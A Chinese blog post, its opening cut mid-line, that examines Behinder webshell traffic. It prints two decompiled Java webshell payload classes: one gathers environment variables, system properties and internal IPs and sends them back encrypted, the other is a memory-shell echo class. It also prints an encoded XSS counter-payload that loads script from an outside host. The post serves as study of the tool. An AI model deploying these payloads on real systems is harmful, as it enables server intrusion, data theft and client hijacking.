uZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLmF3dC5ncmFwaGljc2VudiA9IHN1bi5hd3QuWDExR3JhcGhpY3NFbnZpcm9ubWVudDxici8+cGFja2FnZS5hY2Nlc3MgPSBzdW4uLG9yZy5hcGFjaGUuY2F0YWxpbmEuLG9yZy5hcGFjaGUuY295b3RlLixvcmcuYXBhY2hlLmphc3Blci4sb3JnLmFwYWNoZS50b21jYXQuPGJyLz5wYWNrYWdlLmRlZmluaXRpb24gPSBzdW4uLGphdmEuLG9yZy5hcGFjaGUuY2F0YWxpbmEuLG9yZy5hcGFjaGUuY295b3RlLixvcmcuYXBhY2hlLmphc3Blci4sb3JnLmFwYWNoZS5uYW1pbmcuLG9yZy5hcGFjaGUudG9tY2F0Ljxici8+amRrLnRscy5lcGhlbWVyYWxESEtleVNpemUgPSAyMDQ4PGJyLz5zZXJ2ZXIubG9hZGVyID0gPGJyLz5qYXZhLnV0aWwubG9nZ2luZy5jb25maWcuZmlsZSA9IC9vcHQvYXBhY2hlLXRvbWNhdC9jb25mL2xvZ2dpbmcucHJvcGVydGllczxici8+amF2YS5wcm90b2NvbC5oYW5kbGVyLnBrZ3MgPSBvcmcuYXBhY2hlLmNhdGFsaW5hLndlYnJlc291cmNlczxici8+c3VuLm1hbmFnZW1lbnQuY29tcGlsZXIgPSBIb3RTcG90IDY0LUJpdCBUaWVyZWQgQ29tcGlsZXJzPGJyLz5qYXZhLnJ1bnRpbWUudmVyc2lvbiA9IDExLjAuMjMrOS1wb3N0LURlYmlhbi0xZGViMTB1MTxici8+amF2YS5uYW1pbmcuZmFjdG9yeS5pbml0aWFsID0gb3JnLmFwYWNoZS5uYW1pbmcuamF2YS5qYXZhVVJMQ29udGV4dEZhY3Rvcnk8YnIvPnVzZXIubmFtZSA9IHJvb3Q8YnIvPnBhdGguc2VwYXJhdG9yID0gOjxici8+Y29tbW9uLmxvYWRlciA9ICIke2NhdGFsaW5hLmJhc2V9L2xpYiIsIiR7Y2F0YWxpbmEuYmFzZX0vbGliLyouamFyIiwiJHtjYXRhbGluYS5ob21lfS9saWIiLCIke2NhdGFsaW5hLmhvbWV9L2xpYi8qLmphciI8YnIvPm9zLnZlcnNpb24gPSA0LjE5LjAtNS1hbWQ2NDxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmZpbGUuZW5jb2RpbmcgPSBVVEYtODxici8+amF2YS52bS5uYW1lID0gT3BlbkpESyA2NC1CaXQgU2VydmVyIFZNPGJyLz5vcmcuYXBhY2hlLmNhdGFsaW5hLnNlY3VyaXR5LlNlY3VyaXR5TGlzdGVuZXIuVU1BU0sgPSAwMDI3PGJyLz5qYXZhLnZlbmRvci51cmwuYnVnID0gaHR0cHM6Ly9idWdzLmRlYmlhbi5vcmcvb3Blbmpkay0xMTxici8+amF2YS5pby50bXBkaXIgPSAvb3B0L2FwYWNoZS10b21jYXQvdGVtcDxici8+dG9tY2F0LnV0aWwuc2Nhbi5TdGFuZGFyZEphclNjYW5GaWx0ZXIuamFyc1RvU2NhbiA9IGxvZzRqLXRhZ2xpYiouamFyLGxvZzRqLXdlYiouamFyLGxvZzRqYXZhc2NyaXB0Ki5qYXIsc2xmNGotdGFnbGliKi5qYXI8YnIvPmNhdGFsaW5hLmhvbWUgPSAvb3B0L2FwYWNoZS10b21jYXQ8YnIvPmphdmEudmVyc2lvbiA9IDExLjAuMjM8YnIvPnRvbWNhdC51dGlsLnNjYW4uU3RhbmRhcmRKYXJTY2FuRmlsdGVyLmphcnNUb1NraXAgPSBhbm5vdGF0aW9ucy1hcGkuamFyLGFudC1qdW5pdCouamFyLGFudC1sYXVuY2hlciouamFyLGFudCouamFyLGFzbS0qLmphcixhc3BlY3RqKi5qYXIsYmNlbCouamFyLGJpei5hUXV0ZS5ibmQqLmphcixib290c3RyYXAuamFyLGNhdGFsaW5hLWFudC5qYXIsY2F0YWxpbmEtaGEuamFyLGNhdGFsaW5hLXNzaS5qYXIsY2F0YWxpbmEtc3RvcmVjb25maWcuamFyLGNhdGFsaW5hLXRyaWJlcy5qYXIsY2F0YWxpbmEuamFyLGNnbGliLSouamFyLGNvYmVydHVyYS0qLmphcixjb21tb25zLWJlYW51dGlscyouamFyLGNvbW1vbnMtY29kZWMqLmphcixjb21tb25zLWNvbGxlY3Rpb25zKi5qYXIsY29tbW9ucy1jb21wcmVzcyouamFyLGNvbW1vbnMtZGFlbW9uLmphcixjb21tb25zLWRiY3AqLmphcixjb21tb25zLWRpZ2VzdGVyKi5qYXIsY29tbW9ucy1maWxldXBsb2FkKi5qYXIsY29tbW9ucy1odHRwY2xpZW50Ki5qYXIsY29tbW9ucy1pbyouamFyLGNvbW1vbnMtbGFuZyouamFyLGNvbW1vbnMtbG9nZ2luZyouamFyLGNvbW1vbnMtbWF0aCouamFyLGNvbW1vbnMtcG9vbCouamFyLGRlcmJ5LSouamFyLGRvbTRqLSouamFyLGVhc3ltb2NrLSouamFyLGVjai0qLmphcixlbC1hcGkuamFyLGdlcm9uaW1vLXNwZWMtamF4cnBjKi5qYXIsaDIqLmphcixoYS1hcGktKi5qYXIsaGFtY3Jlc3QtKi5qYXIsaGliZXJuYXRlKi5qYXIsaHR0cGNsaWVudCouamFyLGljdTRqLSouamFyLGphc3Blci1lbC5qYXIsamFzcGVyLmphcixqYXNwaWMtYXBpLmphcixqYXhiLSouamFyLGpheGVuLSouamFyLGpheHdzLXJ0LSouamFyLGpkb20tKi5qYXIsamV0dHktKi5qYXIsam14LXRvb2xzLmphcixqbXguamFyLGpzcC1hcGkuamFyLGpzdGwuamFyLGp0YSouamFyLGp1bml0LSouamFyLGp1bml0Lmphcixsb2c0aiouamFyLG1haWwqLmphcixvYmplbmVzaXMtKi5qYXIsb3JhY2xlcGtpLmphcixvcmcuaGFtY3Jlc3QuY29yZV8qLmphcixvcmcuanVuaXRfKi5qYXIsb3JvLSouamFyLHNlcnZsZXQtYXBpLSouamFyLHNlcnZsZXQtYXBpLmphcixzbGY0aiouamFyLHRhZ2xpYnMtc3RhbmRhcmQtc3BlYy0qLmphcix0YWdzb3VwLSouamFyLHRvbWNhdC1hcGkuamFyLHRvbWNhdC1jb3lvdGUuamFyLHRvbWNhdC1kYmNwLmphcix0b21jYXQtaTE4bi0qLmphcix0b21jYXQtamRiYy5qYXIsdG9tY2F0LWpuaS5qYXIsdG9tY2F0LWp1bGktYWRhcHRlcnMuamFyLHRvbWNhdC1qdWxpLmphcix0b21jYXQtdXRpbC1zY2FuLmphcix0b21jYXQtdXRpbC5qYXIsdG9tY2F0LXdlYnNvY2tldC5qYXIsdG9vbHMuamFyLHVuYm91bmRpZC1sZGFwc2RrLSouamFyLHdlYnNvY2tldC1hcGkuamFyLHdzZGw0aiouamFyLHhlcmNlc0ltcGwuamFyLHhtbC1hcGlzLmphcix4bWxQYXJzZXJBUElzLSouamFyLHhtbFBhcnNlckFQSXMuamFyLHhvbS0qLmphcjxici8+dXNlci5kaXIgPSAvb3B0L2FwYWNoZS10b21jYXQvYmluPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEudm0uc3BlY2lmaWNhdGlvbi5uYW1lID0gSmF2YSBWaXJ0dWFsIE1hY2hpbmUgU3BlY2lmaWNhdGlvbjxici8+amF2YS5hd3QucHJpbnRlcmpvYiA9IHN1bi5wcmludC5QU1ByaW50ZXJKb2I8YnIvPnN1bi5vcy5wYXRjaC5sZXZlbCA9IHVua25vd248YnIvPmNhdGFsaW5hLmJhc2UgPSAvb3B0L2FwYWNoZS10b21jYXQ8YnIvPnNoYXJlZC5sb2FkZXIgPSA8YnIvPmphdmEudXRpbC5sb2dnaW5nLm1hbmFnZXIgPSBvcmcuYXBhY2hlLmp1bGkuQ2xhc3NMb2FkZXJMb2dNYW5hZ2VyPGJyLz5qYXZhLmxpYnJhcnkucGF0aCA9IC91c3IvamF2YS9wYWNrYWdlcy9saWI6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9qbmk6L2xpYi94ODZfNjQtbGludXgtZ251Oi91c3IvbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIvam5pOi9saWI6L3Vzci9saWI8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGUsIHNoYXJpbmc8YnIvPmphdmEudmVuZG9yID0gRGViaWFuPGJyLz5qYXZhLnZtLnZlcnNpb24gPSAxMS4wLjIzKzktcG9zdC1EZWJpYW4tMWRlYjEwdTE8YnIvPmphdmEuc3BlY2lmaWNhdGlvbi5tYWludGVuYW5jZS52ZXJzaW9uID0gMjxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz50b21jYXQudXRpbC5idWYuU3RyaW5nQ2FjaGUuYnl0ZS5lbmFibGVkID0gdHJ1ZTxici8+amF2YS5jbGFzcy52ZXJzaW9uID0gNTUuMDxici8+"}

试了一下不能xss

只能显示图片,如果能绕过就好了:

payload

    {"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMExqRTVMakF0TlMxaGJXUTJOR0Z0WkRZMCIsImRyaXZlTGlzdCI6Ikx6cz0iLCJsb2NhbElwIjoiTVRBMExqRTJNQzR4T0M0eU1ETT0iLCJjdXJyZW50UGF0aCI6IkwyOXdkQzloY0dGamFHVXRkRzl0WTJGMEwySnBiZz09IiwiYXJjaCI6IllXMWtOalE9IiwiYmFzaWNJbmZvIjoiYzJJZ1NHRmphMlZ5UEM5aWNqNUtZWFpoT2lBOGMyTnlhWEIwUG1Gc1pYSjBLREVwUEM5elkzSnBjSFErUEM5aWNqNDhhVzFuSUhOeVl6MTRJR2xrUFdSdFJubEpSMFU1V2tjNWFtUlhNV3hpYmxGMVdUTktiRmxZVW14U1YzaHNZbGRXZFdSRFoybGpNazU1WVZoQ01FbHBhemRaVXpWNlkyMU5PVWx0YURCa1NFSjZUMms0ZG1SWGIzVlpNbXQyVFZST2VrbHFkR3RpTWs0eFlsZFdkV1JETldsaU1sSTFURzFHZDJOSFZuVmFSVTV2WVZkNGEwdEhSWEJQZHowOUlHOXVaWEp5YjNJOVpYWmhiQ2hoZEc5aUtIUm9hWE11YVdRcEtUNDhMMkp5UGp3dlluSStQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQWE05WTNKbFlYUmxSV3hsYldWdWRDZ25jMk55YVhCMEp5azdZbTlrZVM1aGNIQmxibVJEYUdsc1pDaHpLVHR6TG5OeVl6MG5MeTkxYWk1amFTOHhNM01uT3o0OEwySnlQanhwYldjZ2MzSmpQWGdnYVdROVpHMUdlVWxIUlRsYVJ6bHFaRmN4YkdKdVVYVlpNMHBzV1ZoU2JGSlhlR3hpVjFaMVpFTm5hV015VG5saFdFSXdTV2xyTjFsVE5YcGpiVTA1U1cxb01HUklRbnBQYVRoMlpGZHZkVmt5YTNaTlZFNTZTV3AwYTJJeVRqRmlWMVoxWkVNMWFXSXlValZNYlVaM1kwZFdkVnBGVG05aFYzaHJTMGRGY0U5M1BUMGdiMjVsY25KdmNqMWxkbUZzS0dGMGIySW9kR2hwY3k1cFpDa3BQand2WW5JK1BHbHRaeUJ6Y21NOUlpSWdiMjVsY25KdmNqMGlaRzlqZFcxbGJuUXVkM0pwZEdVb1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTZzJNQ3d4TVRVc05qY3NPRElzTVRBMUxEZ3dMREV4Tml3ek1pd3hNVFVzT0RJc05qY3NOakVzTkRjc05EY3NNVEUzTERFd05pdzBOaXc1T1N3eE1EVXNORGNzTkRrc05URXNNVEUxTERZeUxEWXdMRFEzTERFeE5TdzJOeXd4TVRRc056TXNNVEV5TERnMExEWXlLU2tpUGc9PSJ9","status":"c3VjY2Vzcw=="}

回到主题:

来看看是咋触发回显信息的:

客户端发了这样一个payload:逆向后:

    package org.qjoap.gwjg;

    import java.io.File;

    import java.net.Inet4Address;

    import java.net.InetAddress;

    import java.net.NetworkInterface;

    import java.util.Enumeration;

    import java.util.HashMap;

    import java.util.Map;

    import java.util.Random;

    /* compiled from: BasicInfo.java */

    /* loaded from: getinfo.class */

    public class Zfrhsy {

        public static String whatever;

        private Object Request;

        private Object Response;

        private Object Session;

        private byte[] Encrypt(byte[] bArr) throws Exception {

            byte[] bArr2;

            for (int i = 0; i < bArr.length; i++) {

                bArr[i] = (byte) (bArr[i] ^ "e45e329feb5d925b".getBytes()[(i + 1) & 15]);

            }

            try {

                Class<?> cls = Class.forName("java.util.Base64");

                Object invoke = cls.getMethod("getEncoder", null).invoke(cls, null);

                bArr2 = (byte[]) invoke.getClass().getMethod("encode", byte[].class).invoke(invoke, bArr);

            } catch (Throwable th) {

                Object newInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();

                bArr2 = ((String) newInstance.getClass().getMethod("encode", byte[].class).invoke(newInstance, bArr)).replace("\n", "").replace("\r", "").getBytes();

            }

            return bArr2;

        }

        public Zfrhsy() {

            whatever = "";

            whatever += "n0B4W963oHzo1TZUXLsHxevT823jG2xVRKZePxZ93EiDNCQUgrhHjPAtpYf2SDX8NzFIIE7UIXZtinCLrrS1MPpXEZKRXK9xsAw8Zr9z9YaJUETafZQ8FNe4f3RaL5UKlfyr7NrvE96vywu4PVT0PQNLzkvsBp13rc9Co0S2keeribyTFpFwYdVyQvXAJdggDdDHVhyq4SkpfkntCvdYTRewNpKqOSpjQepkeVrjFrIUrFF5qATYKtbYegdE4XFexw8FcH0V0RtESBo6TAP5KcVUinKORS93t1AsJYK3w4u7MDYtY9m6VcUHziBOhM1Y9vvSINoEkoP6VdphfFv2oOZI0wNxyWtaDk5tKZo4OeAr3qsOi2AqB93ISFjDu9wkCWDEZY0iQd9sszJFKyXT4NUk20rYzIrGmzMrWRzyN97EKjfDWlLGbTYsBMlR7tavu2IUo3gPzJpvHbdilYXksUoKSJZSermtQV4w1aqWNWhV7OPQEB9IJfoJI52UGjifdi0nxvZydg994Fg2uiTW4pnm4vhhyICYZ9IxcKBEKALf2eiUW0IAtLEYNJYvYxC7Py9OYr7Q6MQ7i0xmKAwY6e5L4xJVryL8feh44vbq4bf1mwZi4gXIHiTIKBbMngki6LtK1pMT7CCuJOsc5JSagaKSl7wJbsDKXzzLrFxCSql1wjeMff1qU3Rj8NsfxtpmDoL7V";

        }

        public boolean equals(Object obj) {

            Map<String, String> result = new HashMap<>();

            try {

                fillContext(obj);

                StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");

                Map<String, String> env = System.getenv();

                for (String name : env.keySet()) {

                    basicInfo.append(name + "=" + env.get(name) + "<br/>");

                }

                basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");

                for (Map.Entry<Object, Object> entry : System.getProperties().entrySet()) {

                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");

                }

                String currentPath = new File("").getAbsolutePath();

                String driveList = "";

                File[] roots = File.listRoots();

                for (int i = 0; i < roots.length; i++) {

                    driveList = driveList + roots[i].getPath() + ";";

                }

                Map<String, String> entity = new HashMap<>();

                entity.put("basicInfo", basicInfo.toString());

                entity.put("currentPath", currentPath);

                entity.put("driveList", driveList);

                entity.put("osInfo", System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"));

                entity.put("arch", System.getProperty("os.arch"));

                entity.put("localIp", getInnerIp());

                result.put("status", "success");

                result.put("msg", buildJson(entity, true));

                try {

                    Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);

                    so.getClass().getMethod("write", byte[].class).invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));

                    so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);

                    so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);

                    return true;

                } catch (Exception e) {

                    return true;

                }

            } catch (Exception e2) {

                try {

                    Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);

                    so2.getClass().getMethod("write", byte[].class).invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));

                    so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);

                    so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);

                    return true;

                } catch (Exception e3) {

                    return true;

                }

            } catch (Throwable th) {

                try {

                    Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);

                    so3.getClass().getMethod("write", byte[].class).invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));

                    so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);

                    so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);

                } catch (Exception e4) {

                }

                throw th;

            }

        }

        private String getInnerIp() {

            String ips = "";

            try {

                Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();

                while (netInterfaces.hasMoreElements()) {

                    Enumeration<InetAddress> addresses = netInterfaces.nextElement().getInetAddresses();

                    while (addresses.hasMoreElements()) {

                        InetAddress ip = addresses.nextElement();

                        if (ip != null && (ip instanceof Inet4Address)) {

                            ips = ips + ip.getHostAddress() + " ";

                        }

                    }

                }

            } catch (Exception e) {

            }

            return ips.replace("127.0.0.1", "").trim();

        }

        private String buildJson(Map<String, String> entity, boolean encode) throws Exception {

            StringBuilder sb = new StringBuilder();

            String version = System.getProperty("java.version");

            sb.append("{");

            for (String key : entity.keySet()) {

                sb.append("\"" + key + "\":\"");

                String value = entity.get(key).toString();

                if (encode) {

                    if (version.compareTo("1.9") >= 0) {

                        getClass();

                        Class Base64 = Class.forName("java.util.Base64");

                        Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);

                        value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));

                    } else {

                        getClass();

                        Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();

                        value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");

                    }

                }

                sb.append(value);

                sb.append("\",");

            }

            sb.setLength(sb.length() - 1);

            sb.append("}");

            return sb.toString();

        }

        private String base64encode(byte[] data) throws Exception {

            String result;

            System.getProperty("java.version");

            try {

                getClass();

                Class Base64 = Class.forName("java.util.Base64");

                Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);

                result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);

            } catch (Throwable th) {

                getClass();

                Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();

                result = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data)).replace("\n", "").replace("\r", "");

            }

            return result;

        }

        private void fillContext(Object obj) throws Exception {

            if (obj.getClass().getName().indexOf("PageContext") >= 0) {

                this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);

                this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);

                this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);

            } else {

                Map<String, Object> objMap = (Map) obj;

                this.Session = objMap.get("session");

                this.Response = objMap.get("response");

                this.Request = objMap.get("request");

            }

            this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");

        }

        private byte[] getMagic() throws Exception {

            int magicNum = Integer.parseInt(this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString().substring(0, 2), 16) % 16;

            Random random = new Random();

            byte[] buf = new byte[magicNum];

            for (int i = 0; i < buf.length; i++) {

                buf[i] = (byte) random.nextInt(256);

            }

            return buf;

        }

    }

### 内存马:

反编译:

    package net.vcmcde.lhl.cxnmth;

    import java.util.LinkedHashMap;

    import java.util.Map;

    import java.util.Random;

    /* compiled from: Echo.java */

    /* loaded from: memshell.class */

    public class Zfyeqxvfm {

        public static String content;

        public static String payloadBody;

        private Object Request;

        private Object Response;

        private Object Session;

        private byte[] Encrypt(byte[] bArr) throws Exception {

            byte[] bArr2;

            for (int i = 0; i < bArr.length; i++) {

                bArr[i] = (byte) (bArr[i] ^ "e45e329feb5d925b".getBytes()[(i + 1) & 15]);

            }

            try {

                Class<?> cls = Class.forName("java.util.Base64");

                Object invoke = cls.getMethod("getEncoder", null).invoke(cls, null);

                bArr2 = (byte[]) invoke.getClass().getMethod("encode", byte[].class).invoke(invoke, bArr);

            } catch (Throwable th) {

                Object newInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();

                bArr2 = ((String) newInstance.getClass().getMethod("encode", byte[].class).invoke(newInstance, bArr)).replace("\n", "").replace("\r", "").getBytes();

            }

            return bArr2;

        }

        public Zfyeqxvfm() {

            content = "";

            content += "GExexzPl80ZtQoueJNQleZTTcEmP6BMy5nB1Mhw4bB66TgcJKbVmiWdjJMNWQouvcz1dUx153g542R2lZoLyxLvkLT14xXmuQ6l5x3Eg4xykoqHGSiQoxLhtUMeo5avrh5Ql09sbqt6sw3XRVsSc4ElI4rO1hORo5nlsbR6LTda3pPyPwsKm76l1hvbWngSIo0VtjjolvJgaqRT23gvhxpw4ctruuon9ULoN8zixtwOcKsWgqkhGI1PgDMVvcsDB5mWjPjknXczbGx3xvSMc0b23VFa1Q184VMwHhenXoBE8sC77mtBQSrpt6R6rMngnAtbN5amPGvBaWcJRZNTm0r3Z8WPwJuNwWldo1VNOuyXvR9nlap6y63hxKH1HYIiB61sbf3j0Kf98PXJHLYPNFphZsbsaoV8HcBjJGWo1pY5AUUeUXn12h0PIau4qIrXCNBB1x7CW24mbdXwS698g9yzs0yQwtA1IJSEFSYulJWCCIC2ct4ww5f4FzqDKOtrdtdVWZrEIff7E8GWiL36kxpJICIpXH6s236Jvp0tgZ8VzmOEE0RVn8Q0P3zUG";

        }

        public boolean equals(Object obj) {

            Map<String, String> result;

            try {

                result = new LinkedHashMap<>();

                try {

                    fillContext(obj);

                    result.put("status", "success");

                    result.put("msg", content);

                    try {

                        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);

                        so.getClass().getMethod("write", byte[].class).invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));

                        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);

                        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);

                        return true;

                    } catch (Exception e) {

                        e.printStackTrace();

                        return true;

                    }

                } catch (Exception e2) {

                    result.put("msg", e2.getMessage());

                    result.put("status", "success");

                    try {

                        Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);

                        so2.getClass().getMethod("write", byte[].class).invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));

                        so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);

                        so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);

                        return true;

                    } catch (Exception e3) {

                        e3.printStackTrace();

                        return true;

                    }

                }

            } catch (Throwable th) {

                try {

                    Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);

                    so3.getClass().getMethod("write", byte[].class).invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));

                    so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);

                    so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);

                } catch (Exception e4) {

                    e4.printStackTrace();

                }

                throw th;

            }

        }

        private String buildJson(Map<String, String> entity, boolean encode) throws Exception {

            StringBuilder sb = new StringBuilder();

            System.getProperty("java.version");

            sb.append("{");

            for (String key : entity.keySet()) {

                sb.append("\"" + key + "\":\"");

                String value = entity.get(key);

                if (encode) {

                    value = base64encode(value.getBytes());

                }

                sb.append(value);

                sb.append("\",");

            }

            if (sb.toString().endsWith(",")) {

                sb.setLength(sb.length() - 1);

            }

            sb.append("}");

            return sb.toString();

        }

        private void fillContext(Object obj) throws Exception {

            if (obj.getClass().getName().indexOf("PageContext") >= 0) {

                this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);

                this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);

                this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);

            } else {

                Map<String, Object> objMap = (Map) obj;

                this.Session = objMap.get("session");

                this.Response = objMap.get("response");

                this.Request = objMap.get("request");

            }

            this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");

        }

        private String base64encode(byte[] data) throws Exception {

            String result;

            System.getProperty("java.version");

            try {

                getClass();

                Class Base64 = Class.forName("java.util.Base64");

                Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);

                result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);

            } catch (Throwable th) {

                getClass();

                Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();

                result = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data)).replace("\n", "").replace("\r", "");

            }

            return result;

        }

        private byte[] getMagic() throws Exception {

            int magicNum = Integer.parseInt(this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString().substring(0, 2), 16) % 16;

            Random random = new Random();

            byte[] buf = new byte[magicNum];

            for (int i = 0; i < buf.length; i++) {

                buf[i] = (byte) random.nextInt(256);

            }

            return buf;

        }

    }

先到这里,等我学会java再把冰蝎写完

暂无评论

发表评论